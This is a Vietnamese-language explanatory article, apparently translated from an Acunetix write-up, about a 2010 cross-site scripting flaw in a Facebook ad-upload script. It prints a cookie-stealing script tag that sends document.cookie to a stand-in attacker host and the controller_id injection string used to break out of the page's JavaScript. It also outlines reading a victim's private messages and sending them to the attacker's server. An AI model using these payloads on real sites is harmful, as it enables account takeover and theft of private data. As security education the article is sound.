Thông thường, hầu hết kiểu khai thác Cross-Site Scripting đều liên quan đến việc gửi cookie của nạn nhân tới máy của kẻ tấn công thông qua Javascript.
[code]
<script>
document.write("<img src='http://attackersite/a.gif?x=" + escape(document.cookie + "'>")
</script>
[/code]
Trong khi khai thác lỗ hổng Cross-Site Scripting, kẻ tấn công sẽ không dựa vào cookie mà chúng đánh cắp được, mà attacker có thể tiêm code Javascript vào website của nạn nhân. Attacker cũng có thể thực hiện các hành động nguy hiểm khác.
Trong trường hợp đối với Fb, quá trình được diễn ra như sau:
1. Đọc messages cá nhân của nạn nhân.
2. Lấy và chỉnh sửa ảnh cá nhân của nạn nhân.
3. Gửi thông điệp tới những contacts của nạn nhân.
4. Thêm những ứng dụng Facebook mới.
5. Đánh cắp contacts.
Mô tả chi tiết khai thác lỗ hổng Cross-Site Scripting trên Fb.
Facebook sử dụng PHP scripts. Scripts này đã bị khai thác từ tháng 7/2010. http://www.facebook.com/ads/create/photos/creative_uploader.php
Script chứa những thông số khác nhau, một trong số chúng - controller_id: đầu vào trực tiếp bên trong của một thẻ script của người dùng. Vd: http://www.facebook.com/ads/create/photos/creative_uploader.php?controller_id=c4c288b438ed080&path=whatever&src=whatever&vol=90&w=60&h=80&post_upload=1
HTML body mà chúng ta cần quan tâm:
<script>
...
onloadRegister(function (){window.parent.__UIControllerRegistry["c4c288b438ed080"].saveUploadedImage("whatever", "whatever", 90, 60, 80);});
...
</script>
Bạn sẽ nhận thấy rằng giá trị controller_id (c4c288b438ed080) được viết trực tiếp bên trong đoạn Javascript của trang HTML. Bằng cách chèn double quote, attacker có khả năng thoát khỏi chuỗi key của array và chèn Javascript trực tiếp bên trong một trang facebook.com, thay đổi thông số controller_id dễ dàng:
controller_id=test”]}; alert(“facebook test”); //
Điều này làm thay đổi nội dung sau:
<script>
...
onloadRegister(function (){window.parent.__UIControllerRegistry["test"]}; alert("facebook test"); //"].saveUploadedImage("whatever", "whatever", 90, 60, 80);});
...
</script>
Nội dung này sẽ chạy alert box:
Ở giai đoạn này attacker cần phải làm là đọc nội dung JSON giống như client-side scripts của Fb.
Cách thức khai thác lỗ hổng XSS để chiếm tài khoản Fb
Để đạt được mục đích này, attacker có thể gọi file mở rộng .js trên Web Server của anh ta để add thêm nhiều code. Số frameworks giúp chuyên gia bảo mật hoặc attacker khai thác lỗ hổng CSS, giống như BeEF.
Trong TH này, chúng ta sẽ tùy biến code để chỉ định những tính năng nào được hiển thị.
Javascript code hướng dẫn web browser của nạn nhân đọc danh sách private messages tìm thấy trên http://www.facebook.com/ajax/home/inbox.php. Code phân tích từng ID message. Với mỗi message, Javascript code của attacker sẽ đọc được message http://www.facebook.com/ajax/gigaboxx/endpoint/ReadThread.php.
Cuối cùng, attacker có thể nhận được nội dung message trực tiếp từ máy chủ web server của anh ta.
Trong đoạn video dưới đây, chúng ta sẽ thấy cách thức attacker gửi nội dung nhạy cảm của victim thông qua Facebook chat.
Editor: Dương Tạ Kim Linh, Vương Lan Kiều
[2] - http://www.acunetix.com/websitesecurity/xss-facebook.htm